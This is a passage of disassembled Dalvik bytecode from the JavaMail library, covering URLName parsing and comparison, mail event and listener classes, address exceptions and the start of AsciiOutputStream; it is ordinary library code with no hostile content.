00000046 if-eqz v1, :5A
:4A
0000004A invoke-virtual InetAddress->equals(Object)Z, v0, v1
00000050 move-result v0
00000052 if-nez v0, :92
:56
00000056 move v0, v2
00000058 goto :C
:5A
0000005A iget-object v0, p0, URLName->host:String
0000005E if-eqz v0, :82
:62
00000062 iget-object v0, p1, URLName->host:String
00000066 if-eqz v0, :82
:6A
0000006A iget-object v0, p0, URLName->host:String
0000006E iget-object v1, p1, URLName->host:String
00000072 invoke-virtual String->equalsIgnoreCase(String)Z, v0, v1
00000078 move-result v0
0000007A if-nez v0, :92
:7E
0000007E move v0, v2
00000080 goto :C
:82
00000082 iget-object v0, p0, URLName->host:String
00000086 iget-object v1, p1, URLName->host:String
0000008A if-eq v0, v1, :92
:8E
0000008E move v0, v2
00000090 goto :C
:92
00000092 iget-object v0, p0, URLName->username:String
00000096 iget-object v1, p1, URLName->username:String
0000009A if-eq v0, v1, :BE
:9E
0000009E iget-object v0, p0, URLName->username:String
000000A2 if-eqz v0, :BA
:A6
000000A6 iget-object v0, p0, URLName->username:String
000000AA iget-object v1, p1, URLName->username:String
000000AE invoke-virtual String->equals(Object)Z, v0, v1
000000B4 move-result v0
000000B6 if-nez v0, :BE
:BA
000000BA move v0, v2
000000BC goto :C
:BE
000000BE iget-object v0, p0, URLName->file:String
000000C2 if-nez v0, :E6
:C6
000000C6 const-string v0, ""
:CA
000000CA iget-object v1, p1, URLName->file:String
000000CE if-nez v1, :EC
:D2
000000D2 const-string v1, ""
:D6
000000D6 invoke-virtual String->equals(Object)Z, v0, v1
000000DC move-result v0
000000DE if-nez v0, :F2
:E2
000000E2 move v0, v2
000000E4 goto :C
:E6
000000E6 iget-object v0, p0, URLName->file:String
000000EA goto :CA
:EC
000000EC iget-object v1, p1, URLName->file:String
000000F0 goto :D6
:F2
000000F2 iget v0, p0, URLName->port:I
000000F6 iget v1, p1, URLName->port:I
000000FA if-eq v0, v1, :102
:FE
000000FE move v0, v2
00000100 goto :C
:102
00000102 const/4 v0, 0x1
00000104 goto :C
.end method
.method public getFile()String
.registers 2
00000000 iget-object v0, p0, URLName->file:String
00000004 return-object v0
.end method
.method public getHost()String
.registers 2
00000000 iget-object v0, p0, URLName->host:String
00000004 return-object v0
.end method
.method public getPassword()String
.registers 2
00000000 sget-boolean v0, URLName->doEncode:Z
00000004 if-eqz v0, :16
:8
00000008 iget-object v0, p0, URLName->password:String
0000000C invoke-static URLName->decode(String)String, v0
00000012 move-result-object v0
:14
00000014 return-object v0
:16
00000016 iget-object v0, p0, URLName->password:String
0000001A goto :14
.end method
.method public getPort()I
.registers 2
00000000 iget v0, p0, URLName->port:I
00000004 return v0
.end method
.method public getProtocol()String
.registers 2
00000000 iget-object v0, p0, URLName->protocol:String
00000004 return-object v0
.end method
.method public getRef()String
.registers 2
00000000 iget-object v0, p0, URLName->ref:String
00000004 return-object v0
.end method
.method public getURL()URL
.registers 6
00000000 new-instance v0, URL
00000004 invoke-virtual URLName->getProtocol()String, p0
0000000A move-result-object v1
0000000C invoke-virtual URLName->getHost()String, p0
00000012 move-result-object v2
00000014 invoke-virtual URLName->getPort()I, p0
0000001A move-result v3
0000001C invoke-virtual URLName->getFile()String, p0
00000022 move-result-object v4
00000024 invoke-direct URL-><init>(String, String, I, String)V, v0, v1, v2, v3, v4
0000002A return-object v0
.end method
.method public getUsername()String
.registers 2
00000000 sget-boolean v0, URLName->doEncode:Z
00000004 if-eqz v0, :16
:8
00000008 iget-object v0, p0, URLName->username:String
0000000C invoke-static URLName->decode(String)String, v0
00000012 move-result-object v0
:14
00000014 return-object v0
:16
00000016 iget-object v0, p0, URLName->username:String
0000001A goto :14
.end method
.method public hashCode()I
.registers 4
00000000 iget v0, p0, URLName->hashCode:I
00000004 if-eqz v0, :E
:8
00000008 iget v0, p0, URLName->hashCode:I
:C
0000000C return v0
:E
0000000E iget-object v0, p0, URLName->protocol:String
00000012 if-eqz v0, :2C
:16
00000016 iget v0, p0, URLName->hashCode:I
0000001A iget-object v1, p0, URLName->protocol:String
0000001E invoke-virtual String->hashCode()I, v1
00000024 move-result v1
00000026 add-int/2addr v0, v1
00000028 iput v0, p0, URLName->hashCode:I
:2C
0000002C invoke-direct URLName->getHostAddress()InetAddress, p0
00000032 move-result-object v0
00000034 if-eqz v0, :9A
:38
00000038 iget v1, p0, URLName->hashCode:I
0000003C invoke-virtual InetAddress->hashCode()I, v0
00000042 move-result v0
00000044 add-int/2addr v0, v1
00000046 iput v0, p0, URLName->hashCode:I
:4A
0000004A iget-object v0, p0, URLName->username:String
0000004E if-eqz v0, :68
:52
00000052 iget v0, p0, URLName->hashCode:I
00000056 iget-object v1, p0, URLName->username:String
0000005A invoke-virtual String->hashCode()I, v1
00000060 move-result v1
00000062 add-int/2addr v0, v1
00000064 iput v0, p0, URLName->hashCode:I
:68
00000068 iget-object v0, p0, URLName->file:String
0000006C if-eqz v0, :86
:70
00000070 iget v0, p0, URLName->hashCode:I
00000074 iget-object v1, p0, URLName->file:String
00000078 invoke-virtual String->hashCode()I, v1
0000007E move-result v1
00000080 add-int/2addr v0, v1
00000082 iput v0, p0, URLName->hashCode:I
:86
00000086 iget v0, p0, URLName->hashCode:I
0000008A iget v1, p0, URLName->port:I
0000008E add-int/2addr v0, v1
00000090 iput v0, p0, URLName->hashCode:I
00000094 iget v0, p0, URLName->hashCode:I
00000098 goto :C
:9A
0000009A iget-object v0, p0, URLName->host:String
0000009E if-eqz v0, :4A
:A2
000000A2 iget v0, p0, URLName->hashCode:I
000000A6 iget-object v1, p0, URLName->host:String
000000AA sget-object v2, Locale->ENGLISH:Locale
000000AE invoke-virtual String->toLowerCase(Locale)String, v1, v2
000000B4 move-result-object v1
000000B6 invoke-virtual String->hashCode()I, v1
000000BC move-result v1
000000BE add-int/2addr v0, v1
000000C0 iput v0, p0, URLName->hashCode:I
000000C4 goto :4A
.end method
.method protected parseString(String)V
.registers 10
00000000 const/16 v7, 0x3A
00000004 const/4 v6, 0x0
00000006 const/4 v5, 0xFFFFFFFFFFFFFFFF
00000008 const/4 v0, 0x0
0000000A iput-object v0, p0, URLName->password:String
0000000E iput-object v0, p0, URLName->username:String
00000012 iput-object v0, p0, URLName->host:String
00000016 iput-object v0, p0, URLName->ref:String
0000001A iput-object v0, p0, URLName->file:String
0000001E iput-object v0, p0, URLName->protocol:String
00000022 iput v5, p0, URLName->port:I
00000026 invoke-virtual String->length()I, p1
0000002C move-result v1
0000002E invoke-virtual String->indexOf(I)I, p1, v7
00000034 move-result v0
00000036 if-eq v0, v5, :46
:3A
0000003A invoke-virtual String->substring(I, I)String, p1, v6, v0
00000040 move-result-object v2
00000042 iput-object v2, p0, URLName->protocol:String
:46
00000046 add-int/lit8 v2, v0, 0x1
0000004A const-string v3, "//"
0000004E const/4 v4, 0x2
00000050 invoke-virtual String->regionMatches(I, String, I, I)Z, p1, v2, v3, v6, v4
00000056 move-result v2
00000058 if-eqz v2, :1BE
:5C
0000005C const/16 v2, 0x2F
00000060 add-int/lit8 v3, v0, 0x3
00000064 invoke-virtual String->indexOf(I, I)I, p1, v2, v3
0000006A move-result v2
0000006C if-eq v2, v5, :190
:70
00000070 add-int/lit8 v0, v0, 0x3
00000074 invoke-virtual String->substring(I, I)String, p1, v0, v2
0000007A move-result-object v0
0000007C add-int/lit8 v3, v2, 0x1
00000080 if-ge v3, v1, :186
:84
00000084 add-int/lit8 v1, v2, 0x1
00000088 invoke-virtual String->substring(I)String, p1, v1
0000008E move-result-object v1
00000090 iput-object v1, p0, URLName->file:String
:94
00000094 const/16 v1, 0x40
00000098 invoke-virtual String->indexOf(I)I, v0, v1
0000009E move-result v1
000000A0 if-eq v1, v5, :E0
:A4
000000A4 invoke-virtual String->substring(I, I)String, v0, v6, v1
000000AA move-result-object v2
000000AC add-int/lit8 v1, v1, 0x1
000000B0 invoke-virtual String->substring(I)String, v0, v1
000000B6 move-result-object v0
000000B8 invoke-virtual String->indexOf(I)I, v2, v7
000000BE move-result v1
000000C0 if-eq v1, v5, :1A0
:C4
000000C4 invoke-virtual String->substring(I, I)String, v2, v6, v1
000000CA move-result-object v3
000000CC iput-object v3, p0, URLName->username:String
000000D0 add-int/lit8 v1, v1, 0x1
000000D4 invoke-virtual String->substring(I)String, v2, v1
000000DA move-result-object v1
000000DC iput-object v1, p0, URLName->password:String
:E0
000000E0 invoke-virtual String->length()I, v0
000000E6 move-result v1
000000E8 if-lez v1, :1A6
:EC
000000EC invoke-virtual String->charAt(I)C, v0, v6
000000F2 move-result v1
000000F4 const/16 v2, 0x5B
000000F8 if-ne v1, v2, :1A6
:FC
000000FC const/16 v1, 0x5D
00000100 invoke-virtual String->indexOf(I)I, v0, v1
00000106 move-result v1
00000108 invoke-virtual String->indexOf(I, I)I, v0, v7, v1
0000010E move-result v1
:110
00000110 if-eq v1, v5, :1B8
:114
00000114 add-int/lit8 v2, v1, 0x1
00000118 invoke-virtual String->substring(I)String, v0, v2
0000011E move-result-object v2
00000120 invoke-virtual String->length()I, v2
00000126 move-result v3
00000128 if-lez v3, :138
:12C
0000012C invoke-static Integer->parseInt(String)I, v2
00000132 move-result v2
00000134 iput v2, p0, URLName->port:I
:138
00000138 invoke-virtual String->substring(I, I)String, v0, v6, v1
0000013E move-result-object v0
00000140 iput-object v0, p0, URLName->host:String
:144
00000144 iget-object v0, p0, URLName->file:String
00000148 if-eqz v0, :184
:14C
0000014C iget-object v0, p0, URLName->file:String
00000150 const/16 v1, 0x23
00000154 invoke-virtual String->indexOf(I)I, v0, v1
0000015A move-result v0
0000015C if-eq v0, v5, :184
:160
00000160 iget-object v1, p0, URLName->file:String
00000164 add-int/lit8 v2, v0, 0x1
00000168 invoke-virtual String->substring(I)String, v1, v2
0000016E move-result-object v1
00000170 iput-object v1, p0, URLName->ref:String
00000174 iget-object v1, p0, URLName->file:String
00000178 invoke-virtual String->substring(I, I)String, v1, v6, v0
0000017E move-result-object v0
00000180 iput-object v0, p0, URLName->file:String
:184
00000184 return-void
:186
00000186 const-string v1, ""
0000018A iput-object v1, p0, URLName->file:String
0000018E goto :94
:190
00000190 add-int/lit8 v0, v0, 0x3
00000194 invoke-virtual String->substring(I)String, p1, v0
0000019A move-result-object v0
0000019C goto/16 :94
:1A0
000001A0 iput-object v2, p0, URLName->username:String
000001A4 goto :E0
:1A6
000001A6 invoke-virtual String->indexOf(I)I, v0, v7
000001AC move-result v1
000001AE goto :110
:1B0
000001B0 move-exception v2
000001B2 iput v5, p0, URLName->port:I
000001B6 goto :138
:1B8
000001B8 iput-object v0, p0, URLName->host:String
000001BC goto :144
:1BE
000001BE add-int/lit8 v2, v0, 0x1
000001C2 if-ge v2, v1, :144
:1C6
000001C6 add-int/lit8 v0, v0, 0x1
000001CA invoke-virtual String->substring(I)String, p1, v0
000001D0 move-result-object v0
000001D2 iput-object v0, p0, URLName->file:String
000001D6 goto :144
.catch NumberFormatException {:12C .. :138} :1B0
.end method
.method public toString()String
.registers 4
00000000 iget-object v0, p0, URLName->fullURL:String
00000004 if-nez v0, :104
:8
00000008 new-instance v0, StringBuffer
0000000C invoke-direct StringBuffer-><init>()V, v0
00000012 iget-object v1, p0, URLName->protocol:String
00000016 if-eqz v1, :2E
:1A
0000001A iget-object v1, p0, URLName->protocol:String
0000001E invoke-virtual StringBuffer->append(String)StringBuffer, v0, v1
00000024 const-string v1, ":"
00000028 invoke-virtual StringBuffer->append(String)StringBuffer, v0, v1
:2E
0000002E iget-object v1, p0, URLName->username:String
00000032 if-nez v1, :3E
:36
00000036 iget-object v1, p0, URLName->host:String
0000003A if-eqz v1, :CA
:3E
0000003E const-string v1, "//"
00000042 invoke-virtual StringBuffer->append(String)StringBuffer, v0, v1
00000048 iget-object v1, p0, URLName->username:String
0000004C if-eqz v1, :80
:50
00000050 iget-object v1, p0, URLName->username:String
00000054 invoke-virtual StringBuffer->append(String)StringBuffer, v0, v1
0000005A iget-object v1, p0, URLName->password:String
0000005E if-eqz v1, :76
:62
00000062 const-string v1, ":"
00000066 invoke-virtual StringBuffer->append(String)StringBuffer, v0, v1
0000006C iget-object v1, p0, URLName->password:String
00000070 invoke-virtual StringBuffer->append(String)StringBuffer, v0, v1
:76
00000076 const-string v1, "@"
0000007A invoke-virtual StringBuffer->append(String)StringBuffer, v0, v1
:80
00000080 iget-object v1, p0, URLName->host:String
00000084 if-eqz v1, :92
:88
00000088 iget-object v1, p0, URLName->host:String
0000008C invoke-virtual StringBuffer->append(String)StringBuffer, v0, v1
:92
00000092 iget v1, p0, URLName->port:I
00000096 const/4 v2, 0xFFFFFFFFFFFFFFFF
00000098 if-eq v1, v2, :B8
:9C
0000009C const-string v1, ":"
000000A0 invoke-virtual StringBuffer->append(String)StringBuffer, v0, v1
000000A6 iget v1, p0, URLName->port:I
000000AA invoke-static Integer->toString(I)String, v1
000000B0 move-result-object v1
000000B2 invoke-virtual StringBuffer->append(String)StringBuffer, v0, v1
:B8
000000B8 iget-object v1, p0, URLName->file:String
000000BC if-eqz v1, :CA
:C0
000000C0 const-string v1, "/"
000000C4 invoke-virtual StringBuffer->append(String)StringBuffer, v0, v1
:CA
000000CA iget-object v1, p0, URLName->file:String
000000CE if-eqz v1, :DC
:D2
000000D2 iget-object v1, p0, URLName->file:String
000000D6 invoke-virtual StringBuffer->append(String)StringBuffer, v0, v1
:DC
000000DC iget-object v1, p0, URLName->ref:String
000000E0 if-eqz v1, :F8
:E4
000000E4 const-string v1, "#"
000000E8 invoke-virtual StringBuffer->append(String)StringBuffer, v0, v1
000000EE iget-object v1, p0, URLName->ref:String
000000F2 invoke-virtual StringBuffer->append(String)StringBuffer, v0, v1
:F8
000000F8 invoke-virtual StringBuffer->toString()String, v0
000000FE move-result-object v0
00000100 iput-object v0, p0, URLName->fullURL:String
:104
00000104 iget-object v0, p0, URLName->fullURL:String
00000108 return-object v0
.end method
#--------------------------------------------------------------------------------
.class Version
.super Object
.source ""
.field public static final version:String = "1.4.1"
.method constructor <init>()V
.registers 1
00000000 invoke-direct Object-><init>()V, p0
00000006 return-void
.end method
#--------------------------------------------------------------------------------
.class public abstract interface ConnectionListener
.super Object
.source ""
.implements EventListener
.method public abstract closed(ConnectionEvent)V
.end method
.method public abstract disconnected(ConnectionEvent)V
.end method
.method public abstract opened(ConnectionEvent)V
.end method
#--------------------------------------------------------------------------------
.class public abstract ConnectionAdapter
.super Object
.source ""
.implements ConnectionListener
.method public constructor <init>()V
.registers 1
00000000 invoke-direct Object-><init>()V, p0
00000006 return-void
.end method
.method public closed(ConnectionEvent)V
.registers 2
00000000 return-void
.end method
.method public disconnected(ConnectionEvent)V
.registers 2
00000000 return-void
.end method
.method public opened(ConnectionEvent)V
.registers 2
00000000 return-void
.end method
#--------------------------------------------------------------------------------
.class public ConnectionEvent
.super MailEvent
.source ""
.field public static final CLOSED:I = 0x3
.field public static final DISCONNECTED:I = 0x2
.field public static final OPENED:I = 0x1
.field private static final serialVersionUID:J = 0xE640029D6EC9F983L
.field protected type:I
.method public constructor <init>(Object, I)V
.registers 3
00000000 invoke-direct MailEvent-><init>(Object)V, p0, p1
00000006 iput p2, p0, ConnectionEvent->type:I
0000000A return-void
.end method
.method public dispatch(Object)V
.registers 4
00000000 iget v0, p0, ConnectionEvent->type:I
00000004 const/4 v1, 0x1
00000006 if-ne v0, v1, :16
:A
0000000A check-cast p1, ConnectionListener
0000000E invoke-interface ConnectionListener->opened(ConnectionEvent)V, p1, p0
:14
00000014 return-void
:16
00000016 iget v0, p0, ConnectionEvent->type:I
0000001A const/4 v1, 0x2
0000001C if-ne v0, v1, :2C
:20
00000020 check-cast p1, ConnectionListener
00000024 invoke-interface ConnectionListener->disconnected(ConnectionEvent)V, p1, p0
0000002A goto :14
:2C
0000002C iget v0, p0, ConnectionEvent->type:I
00000030 const/4 v1, 0x3
00000032 if-ne v0, v1, :14
:36
00000036 check-cast p1, ConnectionListener
0000003A invoke-interface ConnectionListener->closed(ConnectionEvent)V, p1, p0
00000040 goto :14
.end method
.method public getType()I
.registers 2
00000000 iget v0, p0, ConnectionEvent->type:I
00000004 return v0
.end method
#--------------------------------------------------------------------------------
.class public abstract interface FolderListener
.super Object
.source ""
.implements EventListener
.method public abstract folderCreated(FolderEvent)V
.end method
.method public abstract folderDeleted(FolderEvent)V
.end method
.method public abstract folderRenamed(FolderEvent)V
.end method
#--------------------------------------------------------------------------------
.class public abstract FolderAdapter
.super Object
.source ""
.implements FolderListener
.method public constructor <init>()V
.registers 1
00000000 invoke-direct Object-><init>()V, p0
00000006 return-void
.end method
.method public folderCreated(FolderEvent)V
.registers 2
00000000 return-void
.end method
.method public folderDeleted(FolderEvent)V
.registers 2
00000000 return-void
.end method
.method public folderRenamed(FolderEvent)V
.registers 2
00000000 return-void
.end method
#--------------------------------------------------------------------------------
.class public FolderEvent
.super MailEvent
.source ""
.field public static final CREATED:I = 0x1
.field public static final DELETED:I = 0x2
.field public static final RENAMED:I = 0x3
.field private static final serialVersionUID:J = 0x493FB076540416E3L
.field protected transient varargs folder:Folder
.field protected transient varargs newFolder:Folder
.field protected type:I
.method public constructor <init>(Object, Folder, I)V
.registers 4
00000000 invoke-direct FolderEvent-><init>(Object, Folder, Folder, I)V, p0, p1, p2, p2, p3
00000006 return-void
.end method
.method public constructor <init>(Object, Folder, Folder, I)V
.registers 5
00000000 invoke-direct MailEvent-><init>(Object)V, p0, p1
00000006 iput-object p2, p0, FolderEvent->folder:Folder
0000000A iput-object p3, p0, FolderEvent->newFolder:Folder
0000000E iput p4, p0, FolderEvent->type:I
00000012 return-void
.end method
.method public dispatch(Object)V
.registers 4
00000000 iget v0, p0, FolderEvent->type:I
00000004 const/4 v1, 0x1
00000006 if-ne v0, v1, :16
:A
0000000A check-cast p1, FolderListener
0000000E invoke-interface FolderListener->folderCreated(FolderEvent)V, p1, p0
:14
00000014 return-void
:16
00000016 iget v0, p0, FolderEvent->type:I
0000001A const/4 v1, 0x2
0000001C if-ne v0, v1, :2C
:20
00000020 check-cast p1, FolderListener
00000024 invoke-interface FolderListener->folderDeleted(FolderEvent)V, p1, p0
0000002A goto :14
:2C
0000002C iget v0, p0, FolderEvent->type:I
00000030 const/4 v1, 0x3
00000032 if-ne v0, v1, :14
:36
00000036 check-cast p1, FolderListener
0000003A invoke-interface FolderListener->folderRenamed(FolderEvent)V, p1, p0
00000040 goto :14
.end method
.method public getFolder()Folder
.registers 2
00000000 iget-object v0, p0, FolderEvent->folder:Folder
00000004 return-object v0
.end method
.method public getNewFolder()Folder
.registers 2
00000000 iget-object v0, p0, FolderEvent->newFolder:Folder
00000004 return-object v0
.end method
.method public getType()I
.registers 2
00000000 iget v0, p0, FolderEvent->type:I
00000004 return v0
.end method
#--------------------------------------------------------------------------------
.class public MessageChangedEvent
.super MailEvent
.source ""
.field public static final ENVELOPE_CHANGED:I = 0x2
.field public static final FLAGS_CHANGED:I = 0x1
.field private static final serialVersionUID:J = 0xBAF55870BE7AF17CL
.field protected transient varargs msg:Message
.field protected type:I
.method public constructor <init>(Object, I, Message)V
.registers 4
00000000 invoke-direct MailEvent-><init>(Object)V, p0, p1
00000006 iput-object p3, p0, MessageChangedEvent->msg:Message
0000000A iput p2, p0, MessageChangedEvent->type:I
0000000E return-void
.end method
.method public dispatch(Object)V
.registers 2
00000000 check-cast p1, MessageChangedListener
00000004 invoke-interface MessageChangedListener->messageChanged(MessageChangedEvent)V, p1, p0
0000000A return-void
.end method
.method public getMessage()Message
.registers 2
00000000 iget-object v0, p0, MessageChangedEvent->msg:Message
00000004 return-object v0
.end method
.method public getMessageChangeType()I
.registers 2
00000000 iget v0, p0, MessageChangedEvent->type:I
00000004 return v0
.end method
#--------------------------------------------------------------------------------
.class public abstract interface MessageChangedListener
.super Object
.source ""
.implements EventListener
.method public abstract messageChanged(MessageChangedEvent)V
.end method
#--------------------------------------------------------------------------------
.class public abstract interface MessageCountListener
.super Object
.source ""
.implements EventListener
.method public abstract messagesAdded(MessageCountEvent)V
.end method
.method public abstract messagesRemoved(MessageCountEvent)V
.end method
#--------------------------------------------------------------------------------
.class public abstract MessageCountAdapter
.super Object
.source ""
.implements MessageCountListener
.method public constructor <init>()V
.registers 1
00000000 invoke-direct Object-><init>()V, p0
00000006 return-void
.end method
.method public messagesAdded(MessageCountEvent)V
.registers 2
00000000 return-void
.end method
.method public messagesRemoved(MessageCountEvent)V
.registers 2
00000000 return-void
.end method
#--------------------------------------------------------------------------------
.class public MessageCountEvent
.super MailEvent
.source ""
.field public static final ADDED:I = 0x1
.field public static final REMOVED:I = 0x2
.field private static final serialVersionUID:J = 0x98A6DCA313F58B67L
.field protected transient varargs msgs:[Message
.field protected removed:Z
.field protected type:I
.method public constructor <init>(Folder, I, Z, [Message)V
.registers 5
00000000 invoke-direct MailEvent-><init>(Object)V, p0, p1
00000006 iput p2, p0, MessageCountEvent->type:I
0000000A iput-boolean p3, p0, MessageCountEvent->removed:Z
0000000E iput-object p4, p0, MessageCountEvent->msgs:[Message
00000012 return-void
.end method
.method public dispatch(Object)V
.registers 4
00000000 iget v0, p0, MessageCountEvent->type:I
00000004 const/4 v1, 0x1
00000006 if-ne v0, v1, :16
:A
0000000A check-cast p1, MessageCountListener
0000000E invoke-interface MessageCountListener->messagesAdded(MessageCountEvent)V, p1, p0
:14
00000014 return-void
:16
00000016 check-cast p1, MessageCountListener
0000001A invoke-interface MessageCountListener->messagesRemoved(MessageCountEvent)V, p1, p0
00000020 goto :14
.end method
.method public getMessages()[Message
.registers 2
00000000 iget-object v0, p0, MessageCountEvent->msgs:[Message
00000004 return-object v0
.end method
.method public getType()I
.registers 2
00000000 iget v0, p0, MessageCountEvent->type:I
00000004 return v0
.end method
.method public isRemoved()Z
.registers 2
00000000 iget-boolean v0, p0, MessageCountEvent->removed:Z
00000004 return v0
.end method
#--------------------------------------------------------------------------------
.class public StoreEvent
.super MailEvent
.source ""
.field public static final ALERT:I = 0x1
.field public static final NOTICE:I = 0x2
.field private static final serialVersionUID:J = 0x1AE7A9DA6074BB02L
.field protected message:String
.field protected type:I
.method public constructor <init>(Store, I, String)V
.registers 4
00000000 invoke-direct MailEvent-><init>(Object)V, p0, p1
00000006 iput p2, p0, StoreEvent->type:I
0000000A iput-object p3, p0, StoreEvent->message:String
0000000E return-void
.end method
.method public dispatch(Object)V
.registers 2
00000000 check-cast p1, StoreListener
00000004 invoke-interface StoreListener->notification(StoreEvent)V, p1, p0
0000000A return-void
.end method
.method public getMessage()String
.registers 2
00000000 iget-object v0, p0, StoreEvent->message:String
00000004 return-object v0
.end method
.method public getMessageType()I
.registers 2
00000000 iget v0, p0, StoreEvent->type:I
00000004 return v0
.end method
#--------------------------------------------------------------------------------
.class public abstract interface StoreListener
.super Object
.source ""
.implements EventListener
.method public abstract notification(StoreEvent)V
.end method
#--------------------------------------------------------------------------------
.class public abstract TransportAdapter
.super Object
.source ""
.implements TransportListener
.method public constructor <init>()V
.registers 1
00000000 invoke-direct Object-><init>()V, p0
00000006 return-void
.end method
.method public messageDelivered(TransportEvent)V
.registers 2
00000000 return-void
.end method
.method public messageNotDelivered(TransportEvent)V
.registers 2
00000000 return-void
.end method
.method public messagePartiallyDelivered(TransportEvent)V
.registers 2
00000000 return-void
.end method
#--------------------------------------------------------------------------------
.class public TransportEvent
.super MailEvent
.source ""
.field public static final MESSAGE_DELIVERED:I = 0x1
.field public static final MESSAGE_NOT_DELIVERED:I = 0x2
.field public static final MESSAGE_PARTIALLY_DELIVERED:I = 0x3
.field private static final serialVersionUID:J = 0xBE5C30558AF3DA4FL
.field protected transient varargs invalid:[Address
.field protected transient varargs msg:Message
.field protected type:I
.field protected transient varargs validSent:[Address
.field protected transient varargs validUnsent:[Address
.method public constructor <init>(Transport, I, [Address, [Address, [Address, Message)V
.registers 7
00000000 invoke-direct MailEvent-><init>(Object)V, p0, p1
00000006 iput p2, p0, TransportEvent->type:I
0000000A iput-object p3, p0, TransportEvent->validSent:[Address
0000000E iput-object p4, p0, TransportEvent->validUnsent:[Address
00000012 iput-object p5, p0, TransportEvent->invalid:[Address
00000016 iput-object p6, p0, TransportEvent->msg:Message
0000001A return-void
.end method
.method public dispatch(Object)V
.registers 4
00000000 iget v0, p0, TransportEvent->type:I
00000004 const/4 v1, 0x1
00000006 if-ne v0, v1, :16
:A
0000000A check-cast p1, TransportListener
0000000E invoke-interface TransportListener->messageDelivered(TransportEvent)V, p1, p0
:14
00000014 return-void
:16
00000016 iget v0, p0, TransportEvent->type:I
0000001A const/4 v1, 0x2
0000001C if-ne v0, v1, :2C
:20
00000020 check-cast p1, TransportListener
00000024 invoke-interface TransportListener->messageNotDelivered(TransportEvent)V, p1, p0
0000002A goto :14
:2C
0000002C check-cast p1, TransportListener
00000030 invoke-interface TransportListener->messagePartiallyDelivered(TransportEvent)V, p1, p0
00000036 goto :14
.end method
.method public getInvalidAddresses()[Address
.registers 2
00000000 iget-object v0, p0, TransportEvent->invalid:[Address
00000004 return-object v0
.end method
.method public getMessage()Message
.registers 2
00000000 iget-object v0, p0, TransportEvent->msg:Message
00000004 return-object v0
.end method
.method public getType()I
.registers 2
00000000 iget v0, p0, TransportEvent->type:I
00000004 return v0
.end method
.method public getValidSentAddresses()[Address
.registers 2
00000000 iget-object v0, p0, TransportEvent->validSent:[Address
00000004 return-object v0
.end method
.method public getValidUnsentAddresses()[Address
.registers 2
00000000 iget-object v0, p0, TransportEvent->validUnsent:[Address
00000004 return-object v0
.end method
#--------------------------------------------------------------------------------
.class public ParseException
.super MessagingException
.source ""
.field private static final serialVersionUID:J = 0x6A2A3A783FD59869L
.method public constructor <init>()V
.registers 1
00000000 invoke-direct MessagingException-><init>()V, p0
00000006 return-void
.end method
.method public constructor <init>(String)V
.registers 2
00000000 invoke-direct MessagingException-><init>(String)V, p0, p1
00000006 return-void
.end method
#--------------------------------------------------------------------------------
.class public AddressException
.super ParseException
.source ""
.field private static final serialVersionUID:J = 0x7EC48F3EAB5368F0L
.field protected pos:I
.field protected ref:String
.method public constructor <init>()V
.registers 2
00000000 invoke-direct ParseException-><init>()V, p0
00000006 const/4 v0, 0x0
00000008 iput-object v0, p0, AddressException->ref:String
0000000C const/4 v0, 0xFFFFFFFFFFFFFFFF
0000000E iput v0, p0, AddressException->pos:I
00000012 return-void
.end method
.method public constructor <init>(String)V
.registers 3
00000000 invoke-direct ParseException-><init>(String)V, p0, p1
00000006 const/4 v0, 0x0
00000008 iput-object v0, p0, AddressException->ref:String
0000000C const/4 v0, 0xFFFFFFFFFFFFFFFF
0000000E iput v0, p0, AddressException->pos:I
00000012 return-void
.end method
.method public constructor <init>(String, String)V
.registers 4
00000000 invoke-direct ParseException-><init>(String)V, p0, p1
00000006 const/4 v0, 0x0
00000008 iput-object v0, p0, AddressException->ref:String
0000000C const/4 v0, 0xFFFFFFFFFFFFFFFF
0000000E iput v0, p0, AddressException->pos:I
00000012 iput-object p2, p0, AddressException->ref:String
00000016 return-void
.end method
.method public constructor <init>(String, String, I)V
.registers 5
00000000 invoke-direct ParseException-><init>(String)V, p0, p1
00000006 const/4 v0, 0x0
00000008 iput-object v0, p0, AddressException->ref:String
0000000C const/4 v0, 0xFFFFFFFFFFFFFFFF
0000000E iput v0, p0, AddressException->pos:I
00000012 iput-object p2, p0, AddressException->ref:String
00000016 iput p3, p0, AddressException->pos:I
0000001A return-void
.end method
.method public getPos()I
.registers 2
00000000 iget v0, p0, AddressException->pos:I
00000004 return v0
.end method
.method public getRef()String
.registers 2
00000000 iget-object v0, p0, AddressException->ref:String
00000004 return-object v0
.end method
.method public toString()String
.registers 3
00000000 invoke-super ParseException->toString()String, p0
00000006 move-result-object v0
00000008 iget-object v1, p0, AddressException->ref:String
0000000C if-nez v1, :12
:10
00000010 return-object v0
:12
00000012 new-instance v1, StringBuilder
00000016 invoke-static String->valueOf(Object)String, v0
0000001C move-result-object v0
0000001E invoke-direct StringBuilder-><init>(String)V, v1, v0
00000024 const-string v0, " in string ``"
00000028 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v0
0000002E move-result-object v0
00000030 iget-object v1, p0, AddressException->ref:String
00000034 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
0000003A move-result-object v0
0000003C const-string v1, "\'\'"
00000040 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000046 move-result-object v0
00000048 invoke-virtual StringBuilder->toString()String, v0
0000004E move-result-object v0
00000050 iget v1, p0, AddressException->pos:I
00000054 if-ltz v1, :10
:58
00000058 new-instance v1, StringBuilder
0000005C invoke-static String->valueOf(Object)String, v0
00000062 move-result-object v0
00000064 invoke-direct StringBuilder-><init>(String)V, v1, v0
0000006A const-string v0, " at position "
0000006E invoke-virtual StringBuilder->append(String)StringBuilder, v1, v0
00000074 move-result-object v0
00000076 iget v1, p0, AddressException->pos:I
0000007A invoke-virtual StringBuilder->append(I)StringBuilder, v0, v1
00000080 move-result-object v0
00000082 invoke-virtual StringBuilder->toString()String, v0
00000088 move-result-object v0
0000008A goto :10
.end method
#--------------------------------------------------------------------------------
.class AsciiOutputStream
.super OutputStream
.source ""
.field private ascii:I
.field private badEOL:Z
.field private breakOnNonAscii:Z
.field private checkEOL:Z
.field private lastb:I
.field private linelen:I
.field private longLine:Z
.field private non_ascii:I
.field private ret:I
.method public constructor <init>(Z, Z)V
.registers 4
00000000 const/4 v0, 0x0
00000002 invoke-direct OutputStream-><init>()V, p0
00000008 iput v0, p0, AsciiOutputStream->ascii:I
0000000C iput v0, p0, AsciiOutputStream->non_ascii:I
00000010 iput v0, p0, AsciiOutputStream->linelen:I
00000014 iput-boolean v0, p0, AsciiOutputStream->longLine:Z
00000018 iput-boolean v0, p0, AsciiOutputStream->badEOL:Z
